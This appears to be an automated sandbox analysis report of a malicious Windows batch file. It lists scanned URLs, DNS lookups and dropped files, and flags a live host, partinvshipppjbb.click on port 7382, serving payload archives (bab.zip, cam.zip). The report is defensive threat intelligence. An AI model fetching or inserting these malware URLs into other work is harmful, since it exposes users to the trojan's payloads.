C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ast.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\runners.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\selector_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\sslproto.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\staggered.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\streams.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\taskgroups.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\windows_utils.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\base64.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bdb.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bisect.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bz2.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cProfile.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\calendar.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cgi.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cgitb.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\chunk.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cmd.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\code.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\codecs.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\colorsys.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\compileall.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\concurrent\futures\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\concurrent\futures\_base.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bugs.python.org/issue14797027	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0528/	0%	Avira URL Cloud	safe
http://partinvshipppjbb.click:7382/bab.zip1	100%	Avira URL Cloud	malware
https://cffi.readthedocs.io/en/latest/	0%	Avira URL Cloud	safe
http://bugs.python.org/review/23491/diff/13982/Lib/zipapp.py#newcode67Lib/zipapp.py:67	0%	Avira URL Cloud	safe
https://bugs.python.org/issue36817)	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0602/	0%	Avira URL Cloud	safe
http://sources.redhat.com/ml/newlib/2002/msg00369.html	0%	Avira URL Cloud	safe
http://partinvshipppjbb.click:7382/cam.zip	100%	Avira URL Cloud	malware
https://cython.org/	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/spam?say=ni	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0529/	0%	Avira URL Cloud	safe
https://docutils.sourceforge.io/	0%	Avira URL Cloud	safe
http://127.0.0.1/spam	0%	Avira URL Cloud	safe
http://frexx.de/xterm-256-notes/data/xterm256-conv2.tar.bz2)	0%	Avira URL Cloud	safe
https://twisted.org/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0538/	0%	Avira URL Cloud	safe
http://cython.org)	0%	Avira URL Cloud	safe
http://www.voidspace.org.uk/python/mock/	0%	Avira URL Cloud	safe
https://devguide.python.org	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0387/	0%	Avira URL Cloud	safe
https://cython.org	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0634/	0%	Avira URL Cloud	safe
http://bugs.python.org/issue14630:	0%	Avira URL Cloud	safe
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/spam;cookie=1234	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0539/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0342/#new-generator-method-close	0%	Avira URL Cloud	safe
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	0%	Avira URL Cloud	safe
https://devguide.python.org/developer-workflow/development-cycle/	0%	Avira URL Cloud	safe
http://127.0.0.1/sp%E4m	0%	Avira URL Cloud	safe
https://bugs.python.org/issue1479302)	0%	Avira URL Cloud	safe
http://partinvshipppjbb.click:7382/bab.zipmSY	100%	Avira URL Cloud	malware
http://bugs.python.org/issue19404	0%	Avira URL Cloud	safe
https://127.0.0.1/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0523/	0%	Avira URL Cloud	safe
http://www.cracker.com/	0%	Avira URL Cloud	safe
http://svn.red-bean.com/bob/macholib/trunk/macholib/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0373/	0%	Avira URL Cloud	safe
http://partinvshipppjbb.click:7382/bab.zip	100%	Avira URL Cloud	malware
https://peps.python.org/pep-3151/	0%	Avira URL Cloud	safe
https://freedesktop.org/wiki/Software/xdg-user-dirs/.z	0%	Avira URL Cloud	safe
http://partinvshipppjbb.click:7382	100%	Avira URL Cloud	malware
http://www.JSON.org/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue45128	0%	Avira URL Cloud	safe
https://www.tcl.tk	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
partinvshipppjbb.click	193.143.1.46	true	true	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.58.99	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.python.org/issue14797027	test_urllib2.py.22.dr	false	Avira URL Cloud: safe	unknown
http://partinvshipppjbb.click:7382/bab.zip1	powershell.exe, 0000000A.00000002.2511155346.0000013C862B9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://docs.python.org/3/about.html	about.html.22.dr	false		high
http://bugs.python.org/review/23491/diff/13982/Lib/zipapp.py#newcode67Lib/zipapp.py:67	test_zipapp.py.22.dr	false	Avira URL Cloud: safe	unknown
https://cffi.readthedocs.io/en/latest/	cporting.html.22.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue36817)	python.py.22.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0528/	init.html.22.dr, init_config.html.22.dr	false	Avira URL Cloud: safe	unknown
http://sources.redhat.com/ml/newlib/2002/msg00369.html	test_list.py.22.dr	false	Avira URL Cloud: safe	unknown
http://www.python.org?getspam	test_urllib2.py.22.dr	false		high
https://docs.python.org/3/c-api/coro.html	coro.html.22.dr	false		high
https://github.com/python/cpython/tree/3.12/Modules	library.html.22.dr	false		high
https://wiki.python.org/moin/BeginnersGuide	general.html.22.dr	false		high
https://www.python.org/community/lists/	general.html.22.dr	false		high
https://cython.org/	cporting.html.22.dr	false	Avira URL Cloud: safe	unknown
http://partinvshipppjbb.click:7382/cam.zip	YnViC5yHLu.bat	true	Avira URL Cloud: malware	unknown
https://peps.python.org/pep-0602/	general.html.22.dr	false	Avira URL Cloud: safe	unknown
https://refspecs.linuxfoundation.org/elf/gabi4	_musllinux.py.22.dr	false		high
https://github.com/python/cpython/blob/main/Doc/howto/cporting.rst	cporting.html.22.dr	false		high
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html	unix.cpython-312.pyc.22.dr	false		high
https://peps.python.org/pep-0529/	init.html.22.dr	false	Avira URL Cloud: safe	unknown
https://docutils.sourceforge.io/	about.html.22.dr	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.2556024426.0000013C983B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2556024426.0000013C98280000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.python.org/~jeremy/	test_urllib2.py.22.dr	false		high
http://127.0.0.1/spammity/spam?say=ni	test_wsgiref.py.22.dr	false	Avira URL Cloud: safe	unknown
https://www.redhat.com	general.html.22.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.2512280318.0000013C88201000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/c-api/bytearray.html	bytearray.html.22.dr	false		high
https://github.com/python/cpython/blob/main/Doc/faq/extending.rst	extending.html0.22.dr	false		high
https://xkcd.com/353/	antigravity.py.22.dr	false		high
https://docs.python.org/3/contents.html	contents.html.22.dr	false		high
http://127.0.0.1/spam	test_wsgiref.py.22.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	false		high
http://frexx.de/xterm-256-notes/data/xterm256-conv2.tar.bz2)	terminal256.cpython-312.pyc.22.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	false		high
https://twisted.org/	library.html.22.dr	false	Avira URL Cloud: safe	unknown
http://www.python.org/?qs=query#fragment=true	test_urllib2.py.22.dr	false		high
https://peps.python.org/pep-0538/	init_config.html.22.dr	false	Avira URL Cloud: safe	unknown
http://www.voidspace.org.uk/python/mock/	testpatch.py.22.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org/dev/peps/pep-0657/	python.py.22.dr	false		high
https://devguide.python.org	gdb_helpers.html.22.dr	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.2556024426.0000013C98280000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cython.org)	python.cpython-312.pyc.22.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/init.rst	init.html.22.dr	false		high
http://crl.ver)	svchost.exe, 0000000C.00000002.2732427457.00000241E1A00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cython.org	extending.html0.22.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/genindex-J.html	genindex-J.html.22.dr	false		high
https://peps.python.org/pep-0387/	general.html.22.dr	false	Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	_pydatetime.py.22.dr	false	Avira URL Cloud: safe	unknown
https://mail.python.org/mailman3/lists/python-announce-list.python.org/	general.html.22.dr	false		high
http://bugs.python.org/issue14630:	test_long.py.22.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0634/	typeobj.html.22.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org/community/workshops/	general.html.22.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1/spammity/spam;cookie=1234	test_wsgiref.py.22.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/set.rst	set.html.22.dr	false		high
https://docs.python.org/3/	general.html.22.dr	false		high
https://peps.python.org/pep-0539/	init.html.22.dr	false	Avira URL Cloud: safe	unknown
http://127.0.0.1/	test_wsgiref.py.22.dr	false		high
https://peps.python.org/pep-0342/#new-generator-method-close	test_yield_from.py.22.dr	false	Avira URL Cloud: safe	unknown
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	_pydatetime.py.22.dr	false	Avira URL Cloud: safe	unknown
https://wiki.python.org/moin/PythonBooks	general.html.22.dr	false		high
http://docs.python.org	test_urllib2.py.22.dr	false		high
https://devguide.python.org/developer-workflow/development-cycle/	general.html.22.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/faq/gui.rst	gui.html.22.dr	false		high
https://github.com/python/cpython/blob/main/Doc/about.rst	about.html.22.dr	false		high
http://schemas.xmlsoap.org/soap/envelope	test_xml_etree.py.22.dr	false		high
https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Regular.woff	_export_format.cpython-312.pyc.22.dr	false		high
https://bugs.python.org/issue1479302)	test_urllib2.py.22.dr	false	Avira URL Cloud: safe	unknown
https://mail.python.org/mailman3/lists/python-dev.python.org/	general.html.22.dr	false		high
http://127.0.0.1/sp%E4m	test_wsgiref.py.22.dr	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue19404	contextlib.py.22.dr	false	Avira URL Cloud: safe	unknown
http://partinvshipppjbb.click:7382/bab.zipmSY	powershell.exe, 0000000A.00000002.2511802075.0000013C87C63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://127.0.0.1/	test_wsgiref.py.22.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/concrete.html	concrete.html.22.dr	false		high
https://docs.python.org/3/c-api/sequence.html	sequence.html.22.dr	false		high
https://peps.python.org/pep-0523/	init.html.22.dr	false	Avira URL Cloud: safe	unknown
http://www.cracker.com/	test_urllib2.py.22.dr	false	Avira URL Cloud: safe	unknown
http://svn.red-bean.com/bob/macholib/trunk/macholib/	README.ctypes.22.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0373/	general.html.22.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/mapping.html	mapping.html.22.dr	false		high
https://docs.python.org/3/genindex-V.html	genindex-V.html.22.dr	false		high
https://github.com/python/cpython/blob/main/Doc/howto/argparse.rst	argparse.html.22.dr	false		high
https://code.google.com/archive/p/python-safethread	library.html.22.dr	false		high
https://docs.python.org/3/genindex-N.html	genindex-N.html.22.dr	false		high
https://freedesktop.org/wiki/Software/xdg-user-dirs/.z	unix.cpython-312.pyc.22.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pypa/pip/issues/5499	session.py.22.dr	false		high
https://github.com/scipy/weave	extending.html0.22.dr	false		high
http://www.iana.org/time-zones/repository/tz-link.html	_pydatetime.py.22.dr	false		high
https://peps.python.org/pep-3151/	exceptions.html.22.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue45128	test_logging.py.22.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/iter.html	iter.html.22.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	test_xml_etree.py.22.dr	false		high
http://partinvshipppjbb.click:7382	powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/method.rst	method.html.22.dr	false		high
https://github.com/python/cpython/blob/main/Doc/c-api/capsule.rst	capsule.html.22.dr	false		high
https://xkcd.com/426/	antigravity.py.22.dr	false		high
http://www.JSON.org/	test_pass1.py.22.dr	false	Avira URL Cloud: safe	unknown
https://www.tcl.tk	gui.html.22.dr	false	Avira URL Cloud: safe	unknown
https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca	_musllinux.py.22.dr	false		high

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570830
Start date and time:	2024-12-08 08:41:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	YnViC5yHLu.bat renamed because original name is a hash value
Original Sample Name:	fbf246262ae165b7b701354b9ca9f8e6cf9d8b5872eca3f13bdeabc2174ab9dd.bat
Detection:	MAL
Classification:	mal72.troj.winBAT@33/1084@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240s for powershell

Time	Type	Description
02:42:20	API Interceptor	73x Sleep call for process: powershell.exe modified
02:42:22	API Interceptor	3x Sleep call for process: svchost.exe modified
02:42:32	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
04:14:34	API Interceptor	8019x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.210.172
	5386.pdf.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5386.pdf.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	1.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	nwindowsdll.msi	Get hash	malicious	AteraAgent	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	Outstanding_Payment.vbs_.vbs	Get hash	malicious	XenoRAT	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	JBOtrz1O9s.exe	Get hash	malicious	DCRat	Browse	199.232.210.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	file.exe	Get hash	malicious	Credential Flusher	Browse	217.20.58.100
	file.exe	Get hash	malicious	Credential Flusher	Browse	217.20.58.98
	Fw 2025 Employee Handbook For all Colhca Employees Ref THEFUE.eml	Get hash	malicious	Unknown	Browse	217.20.58.100
	file.exe	Get hash	malicious	Credential Flusher	Browse	217.20.58.100
	bcUcEm7AqP.exe	Get hash	malicious	AsyncRAT	Browse	217.20.58.101
	FW_ _Reminder_ Membership Credit Verification - TPIS Industrial Services_ LLC.msg	Get hash	malicious	Unknown	Browse	84.201.209.75
	32.exe	Get hash	malicious	CobaltStrike	Browse	217.20.57.24
	tegga.hta	Get hash	malicious	Xmrig	Browse	217.20.58.101
	dY1ZxYJOz7.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	217.20.58.100
	Packed.exe	Get hash	malicious	Unknown	Browse	217.20.59.36
partinvshipppjbb.click	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	https://cmd-autenticacaogov.com/	Get hash	malicious	Unknown	Browse	193.143.1.14
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_aix_support.py	careus.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	aba.bat	Get hash	malicious	Unknown	Browse
	tut.bat	Get hash	malicious	Unknown	Browse
	8n3W4yKYeB.exe	Get hash	malicious	Unknown	Browse
	contract_review.exe	Get hash	malicious	XWorm	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xboaaD0JOCEfMuaaD0JOCEfMKQmDkxboaaD0JOCEfMuaaD0JOCEfMKQmD:ZaaD0JcaaD0JwQQnaaD0JcaaD0JwQQ
MD5:	7D48941DB05D2D1C9A0C52739933543F
SHA1:	4FF1446A7D5DA6BBEA145000B00A9F4FFED90930
SHA-256:	C436AB7F36E238365FDDF5BDFEB9EBFEFACE94AD0FEB79C571182DA968815D87
SHA-512:	41C7DA95797437840014733F7021883E034503A9D8F07F7C9A0B1131A869A29A6E00D4E9FA99EEDAFBDD2F0DFDAFFB0A7671D8F666DA0E2023CA887E4BA0FB62
Malicious:	false
Preview:	*.>...........f.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................f.............................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.186349718642183
Encrypted:	false
SSDEEP:	6:vVPGanq2PcNwi2nKuAl9OmbnIFUt8SVPGcZXZmw+SVPGcZFkwOcNwi2nKuAl9Omt:NPG4vLZHAahFUt8mPGY/+mPGA54ZHAae
MD5:	AB2C9714799F7BAE7959882EF2DD1854
SHA1:	981288ADBC14FE361AF6DB457213A5763DCF67F1
SHA-256:	460DA6CF96FECF6C1ECEED6F5C1593734137B85180EFF146D0D384743DCBCB4E
SHA-512:	AC426841B9D3CD04F2105D10838A287A01B55B2ECA8C4D17F02C0A049E5B975A9D870FD409A5BD198F7BE86FD40C6768C70E82DDC0707AF6160BAE174021EB43
Malicious:	false
Preview:	2024/12/08-02:42:22.326 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/08-02:42:22.329 1f70 Recovering log #3.2024/12/08-02:42:22.329 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.054227273984793
Encrypted:	false
SSDEEP:	768:CinHzwiNKeuNZotAHk4VlOdB5cCYoUV3IpNBQkj29YQhj7ardFwOkMx:CinHzwiNKebtAHk4VlOdB5cCYoUV3CNh
MD5:	9DC44CAB5221AE6FF6F5C45CF5FFCBDE
SHA1:	E4BF570FC0C645E006B3E0B2C83B7B66C2D13DAD
SHA-256:	855343D07675AC0F85E322BF673B04076A2194C594522B0D9C73EBE6BF47675D
SHA-512:	4CCDAD97E42247BC247A2A10043DCEE0D9E6945517A983A8E93E5FD13CDAAEEBF0AE4E934CA452A1DDFB4F6E619FC8CFDC082C35E983D9633813CF55B3EEFFF6
Malicious:	false
Preview:	PSMODULECACHE.(.......z..I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Add-MpPreference........Get-MpThreatCatalog........Get-MpThreat........Update-MpSignature........Remove-MpPreference........Get-MpPreference........Get-MpThreatDetection........Set-MpPreference........Get-MpComputerStatus........Start-MpScan........Start-MpWDOScan........Remove-MpThreat.........wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerSh

File type:	Unicode text, UTF-16, little-endian text, with very long lines (1919), with no line terminators
Entropy (8bit):	5.288412914174095
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	YnViC5yHLu.bat
File size:	3'841 bytes
MD5:	a7557c625132659ef814b0ed030f764b
SHA1:	1239cceaf4db04769b0426a05adcc045b5a5adc5
SHA256:	fbf246262ae165b7b701354b9ca9f8e6cf9d8b5872eca3f13bdeabc2174ab9dd
SHA512:	3ee292431768eb1008eb4e5467b95b4422539d529cd55827332d2a152d9dc39233a51d130fcb93533e35399256bb8d049109f186243ec0054225b169cb25ebac
SSDEEP:	96:EDONgDQ/VEbRPHqmgGM5olTVRrHOjKHUEeW05qy:EDpDW8RHqy45j
TLSH:	4581759724CB6030497292A7B63C06E0F45996AB5749284632F0CC64BDBD7EAC7E52CB
File Content Preview:	..&cls..@echo off..setlocal....:: Function to search for and open a PDF file in the Downloads folder..echo Searching for PDF files in the Downloads folder.....set "pdfFile="..for %%f in ("%USERPROFILE%\Downloads\*.pdf") do (.. set "pdfFile=%%f".. go

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 08:42:21.654944897 CET	192.168.2.7	1.1.1.1	0xb9c9	Standard query (0)	partinvshipppjbb.click	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:42:31.731430054 CET	192.168.2.7	1.1.1.1	0x4905	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 08:42:22.301331043 CET	1.1.1.1	192.168.2.7	0xb9c9	No error (0)	partinvshipppjbb.click		193.143.1.46	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:42:31.869437933 CET	1.1.1.1	192.168.2.7	0x4905	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 08:43:21.371085882 CET	1.1.1.1	192.168.2.7	0x5521	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:43:21.371085882 CET	1.1.1.1	192.168.2.7	0x5521	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:43:45.134943008 CET	1.1.1.1	192.168.2.7	0x5711	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 08:43:45.134943008 CET	1.1.1.1	192.168.2.7	0x5711	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.99	A (IP address)	IN (0x0001)	false
